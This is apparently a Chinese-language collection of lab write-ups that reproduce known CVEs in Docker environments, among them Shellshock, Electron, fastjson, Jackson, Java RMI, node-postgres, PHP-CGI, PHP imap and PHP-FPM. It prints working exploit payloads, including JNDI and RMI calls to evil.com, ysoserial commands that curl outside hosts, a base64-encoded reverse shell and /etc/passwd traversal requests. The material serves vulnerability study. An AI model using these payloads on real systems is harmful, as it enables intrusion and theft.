编程语言
bash
CVE-2014-6271
Bash Shellshock 破壳漏洞(CVE-2014-6271)
编译运行:
docker compose up -d
服务启动后,有两个页面http://your-ip:8080/victim.cgi
和http://your-ip:8080/safe.cgi
。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。
将payload附在User-Agent中访问victim.cgi:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
命令成功被执行:
同样的数据包访问safe.cgi,不受影响:
electron
CVE-2018-15685
Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
Electron在设置了nodeIntegration=false
的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP存在XSS漏洞时),能够执行任意命令。
参考链接:
- https://electronjs.org/blog/web-preferences-fix
- https://www.contrastsecurity.com/security-influencers/cve-2018-15685
编译APP
执行如下命令编译一个包含漏洞的应用:
docker compose run -e PLATFORM=win64 --rm electron
其中PLATFORM的值是运行该应用的操作系统,可选项有:win64
、win32
、mac
、linux
。
编译完成后,再执行如下命令,启动web服务:
docker compose run --rm -p 8080:80 web
此时,访问http://your-ip:8080/cve-2018-15685.tar.gz
即可下载编译好的应用。
复现漏洞
在本地打开应用:
点击提交,输入框中的内容将会显示在应用中,显然这里存在一处XSS漏洞。
我们提交<img src=1 onerror="require('child_process').exec('calc.exe')">
,发现没有任何反馈,原因就是nodeIntegration=false
。
此时,提交POC(Windows):
<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
可见,calc.exe已成功弹出:
CVE-2018-1000006
electron 远程命令执行漏洞(CVE-2018-1000006)
Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
在Windows下,如果Electron开发的应用注册了Protocol Handler(允许用户在浏览器中召起该应用),则可能出现一个参数注入漏洞,并最终导致在用户侧执行任意命令。
参考链接:Electron < v1.8.2-beta.4 远程命令执行漏洞—【CVE-2018-1000006】
编译APP
执行如下命令编译一个包含漏洞的应用:
docker compose run -e ARCH=64 --rm electron
上述命令中,因为软件需要在Windows平台上运行,所以需要设置ARCH的值为平台的位数:32或64。
编译完成后,再执行如下命令,启动web服务:
docker compose run --rm -p 8080:80 web
此时,访问http://your-ip:8080/
即可看到POC页面。
复现漏洞
首先,在POC页面,点击第一个链接,下载编译好的软件vulhub-app.tar.gz
。下载完成后解压,并运行一次:
这一次将注册Protocol Handler。
然后,再回到POC页面,点击第二个链接,将会弹出目标软件和计算器:
如果没有成功,可能是浏览器原因。经测试,新版Chrome浏览器点击POC时,会召起vulhub-app,但不会触发该漏洞。
fastjson
1.2.24-rce
fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
参考资料:
- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
漏洞环境
运行测试环境:
docker compose up -d
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出。
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
漏洞复现
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令。
首先编译并上传命令执行代码,如http://evil.com/TouchFile.class
:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
向靶场服务器发送Payload,带上RMI的地址:
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
可见,命令touch /tmp/success
已成功执行:
1.2.47-rce
Fastjson 1.2.47 远程命令执行漏洞
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
参考链接:
- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
- https://www.freebuf.com/vuls/208339.html
漏洞环境
执行如下命令启动一个spring web项目,其中使用fastjson作为默认json解析器:
docker compose up -d
环境启动后,访问http://your-ip:8090
即可看到一个json对象被返回,我们将content-type修改为application/json
后可向其POST新的JSON对象,后端会利用fastjson进行解析。
漏洞复现
目标环境是openjdk:8u102
,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以简单利用RMI进行命令执行。
首先编译并上传命令执行代码,如http://evil.com/TouchFile.class
:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
向靶场服务器发送Payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
可见,命令touch /tmp/success
已成功执行:
更多利用方法请参考JNDI注入相关知识。
go
GO TLS握手 崩溃漏洞 CVE-2021-34558
漏洞描述
There is a minor modification to ./vendor/github.com/refraction-networking/utls/handshake_server.go to enable the malicious handshake to be sent with a mismatching certificate/cipher.
漏洞影响
漏洞复现
将会生成 https 服务,此时当版本较低时就会产生崩溃,例如部分扫描器对目标进行扫描时
jackson
CVE-2017-7525
Jackson-databind 反序列化漏洞(CVE-2017-7525)
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl
,可以实现任意代码执行。
所以,本漏洞利用条件如下:
开启 JacksonPolymorphicDeserialization,即调用以下任意方法
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
Target class 需要有无参 constructor
Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口
参考链接:
- JacksonPolymorphicDeserialization
- Exploiting the Jackson RCE: CVE-2017-7525
- jackson-rce-via-spel
- Jackson Deserializer security vulnerability
漏洞环境
docker compose up -d
环境启动后,Web运行在http://your-ip:8080/
。
漏洞复现
CVE-2017-7525
Jackson-databind
在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty
调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties()
方法时,会初始化 transletBytecodes
包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl
的说明。
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt
:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}
这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。
CVE-2017-17485
CVE-2017-7525 黑名单修复 绕过,利用了 org.springframework.context.support.FileSystemXmlApplicationContext
。
利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如http://evil/spel.xml
,内容如下:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/tmp/prove2.txt</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>
然后,发送如下数据包,使Jackson加载bean,触发漏洞:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138
{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}
成功执行touch /tmp/prove2.txt
:
原理: 利用 FileSystemXmlApplicationContext
加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 start()
方法实现命令执行
java
rmi-codebase
Java RMI codebase 远程代码执行漏洞
Java Remote Method Invocation 用于在Java中进行远程调用,在满足一定条件的情况下,RMI客户端通过指定java.rmi.server.codebase
可以让服务端远程加载对象,进而加载远程java字节码执行任意代码。
漏洞环境
执行如下命令编译及启动RMI Registry和服务器:
docker compose build
docker compose run -e RMIIP=your-ip -p 1099:1099 -p 64000:64000 rmi
其中,your-ip
是服务器IP,客户端会根据这个IP来连接服务器。
环境启动后,RMI Registry监听在1099端口。
漏洞复现
待完善。
rmi-registry-bind-deserialization
Java RMI Registry 反序列化漏洞(<=jdk8u111)
Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
漏洞环境
执行如下命令编译及启动RMI Registry和服务器:
docker compose build
docker compose run -e RMIIP=your-ip -p 1099:1099 rmi
其中,your-ip
是服务器IP,客户端会根据这个IP来连接服务器。
环境启动后,RMI Registry监听在1099端口。
漏洞复现
通过ysoserial的exploit包中的RMIRegistryExploit进行攻击
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server"
Registry会返回报错,这个没关系正常,命令会正常执行。
rmi-registry-bind-deserialization-bypass
Java RMI Registry 反序列化漏洞(<jdk8u232_b09)
Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
自jdk8u121起,Registry对反序列化的类做了白名单限制
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
我们需要在上面的几个白名单里面找到相应的可利用的类
具体原理见浅谈RMI Registry反序列化问题
漏洞环境
执行如下命令编译及启动RMI Registry和服务器:
docker compose build
docker compose run -e RMIIP=your-ip -p 1099:1099 rmi
其中,your-ip
是服务器IP,客户端会根据这个IP来连接服务器。
环境启动后,RMI Registry监听在1099端口。
漏洞复现
通过ysoserial的exploit包中的RMIRegistryExploit2或者3进行攻击
// 开启JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 "curl http://xxxxx.burpcollaborator.net"
// 发起攻击
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.31.88 1099 jrmphost 8888
Registry会返回报错,这个没关系正常,命令会正常执行。
Jupyter
Jupyter Notebook 未授权访问远程命令执行漏洞
漏洞描述
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
漏洞影响
网络测绘
漏洞复现
访问目标, 点击 Terminal 打开命令行界面
执行命令并反弹shell
node
CVE-2017-14849
Node.js 目录穿越漏洞(CVE-2017-14849)
漏洞原理
参考文档:
- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
- https://security.tencent.com/index.php/blog/msg/121
原因是 Node.js 8.5.0 对目录进行normalize
操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd
),在中间位置增加foo/../
(如../../../foo/../../../../etc/passwd
),即可使normalize
返回/etc/passwd
,但实际上正确结果应该是../../../../../../etc/passwd
。
express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize
函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize
函数,上述BUG导致normalize
函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
当然,normalize
的BUG可以影响的绝非仅有express,更有待深入挖掘。不过因为这个BUG是node 8.5.0 中引入的,在 8.6 中就进行了修复,所以影响范围有限。
漏洞复现
编译及运行环境:
docker compose build
docker compose up -d
访问http://your-ip:3000/
即可查看到一个web页面,其中引用到了文件/static/main.js
,说明其存在静态文件服务器。
发送如下数据包,即可读取passwd:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
CVE-2017-16082
node-postgres 代码执行漏洞(CVE-2017-16082)
漏洞原理
node-postgres在处理类型为Row Description
的postgres返回包时,将字段名拼接到代码中。由于没有进行合理转义,导致一个特殊构造的字段名可逃逸出代码单引号限制,造成代码执行漏洞。
参考链接:
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
- https://zhuanlan.zhihu.com/p/28575189
漏洞复现
编译及运行环境:
docker compose build
docker compose up -d
成功运行后,访问http://your-ip:3000/?id=1
即可查看到id为1的用户信息,用sqlmap即可发现此处存在注入点,且数据库为postgres:
那么,我们就可以猜测这里存在node-postgres的代码执行漏洞。编写我想执行的命令echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash
,然后适当分割(每段长度不超过64字符)后替换在如下payload中:
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
将上述payload编码后发送:
成功执行命令,如反弹shell:
因为复现过程中坑比较多,payload生成与测试过程中如果出现错误,还请多多阅读我的这篇文章,从原理上找到问题所在。
Node-RED
Node-RED ui_base 任意文件读取漏洞
漏洞描述
Node-RED 在/nodes/ui_base.js中,URL与’/ui_base/js/*’匹配,然后传递给path.join,
缺乏对最终路径的验证会导致路径遍历漏洞,可以利用这个漏洞读取服务器上的敏感数据,比如settings.js
漏洞影响
网络测绘
漏洞复现
访问页面
验证POC
/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
PayaraMicro
CVE-2021-41381
microprofile-config.properties 信息泄漏漏洞
漏洞描述
PayaraMicro microprofile-config.properties文件配置错误的情况下可被任意用户读取,获取敏感信息
漏洞影响
网络测绘
漏洞复现
产品页面
验证POC
/.//WEB-INF/classes/META-INF/microprofile-config.properties
php
8.1-backdoor
PHP 8.1.0-dev 开发版本后门事件
PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agent头来执行任意代码。
参考链接:
- https://news-web.php.net/php.internals/113838
- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个存在后门的PHP 8.1服务器:
docker compose up -d
环境启动后,服务运行在http://your-ip:8080
。
漏洞复现
发送如下数据包,可见代码var_dump(233*233);
成功执行:
GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close
反弹shell
CVE-2012-1823
PHP-CGI远程代码执行漏洞(CVE-2012-1823)
原理
- 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
- 影响版本 php < 5.3.12 or php < 5.4.2
测试环境
编译及运行环境:
docker compose up -d
环境启动后,访问http://your-ip:8080/
可见“Hello”字样。
访问http://your-ip:8080/index.php?-s
即爆出源码,说明漏洞存在。发送如下数据包,可见Body中的代码已被执行:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
漏洞解读
PHP SAPI 与运行模式
首先,介绍一下PHP的运行模式。
下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如我在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。
除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。
php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。
但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。
php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000
(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。
那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。
历史成因
回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。
这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=
号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。
但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论:
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
显然,这位开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path
的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。
于是,if(!cgi) getopt(...)
被删掉了。
但显然,根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path
的方式传入php-cgi,更可以通过querystring的方式传入。
这就是本漏洞的历史成因。
漏洞利用
那么,可控命令行参数,能做些什么事。
通过阅读源码,我发现cgi模式下有如下一些参数可用:
-c
指定php.ini文件的位置-n
不要加载php.ini文件-d
指定配置项-b
启动fastcgi进程-s
显示文件源码-T
执行指定次该文件-h
和-?
显示帮助
最简单的利用方式,当然就是-s
,可以直接显示源码:
但阅读过我写的fastcgi那篇文章的同学应该很快就想到了一个更好的利用方法:通过使用-d
指定auto_prepend_file
来制造任意文件包含漏洞,执行任意代码:
注意,空格用+
或%20
代替,=
用url编码代替。
CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。
PHP的修复方法是对-
进行了检查:
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
可见,获取querystring后进行解码,如果第一个字符是-
则设置skip_getopt,也就是不要获取命令行参数。
这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
通过使用空白符加-
的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-
了,绕过了上述检查。
于是,php5.4.3和php5.3.13中继续进行修改:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-
。
CVE-2018-19518
PHP imap 远程命令执行漏洞(CVE-2018-19518)
php imap扩展用于在PHP中执行邮件收发操作。其imap_open
函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
参考链接:
- https://bugs.php.net/bug.php?id=77153
- https://github.com/Bo0oM/PHP_imap_open_exploit
- https://antichat.com/threads/463395/#post-4254681
- https://nvd.nist.gov/vuln/detail/CVE-2018-19518
漏洞环境
执行如下命令启动一个包含漏洞的PHP环境:
docker compose up -d
环境启动后,访问http://your-ip:8080
即可查看web页面。Web功能是测试一个邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。
目标源码在index.php
漏洞复现
发送如下数据包即可成功执行命令echo '1234567890'>/tmp/test0001
:
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
执行docker compose exec web bash
进入容器,可见/tmp/test0001
已成功创建:
CVE-2019-11043
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
参考链接:
- https://bugs.php.net/bug.php?id=78599
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
- https://github.com/neex/phuip-fpizdam
漏洞环境
执行如下命令启动有漏洞的Nginx和PHP:
docker compose up -d
环境启动后,访问http://your-ip:8080/index.php
即可查看到一个默认页面。
漏洞复现
使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包:
$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
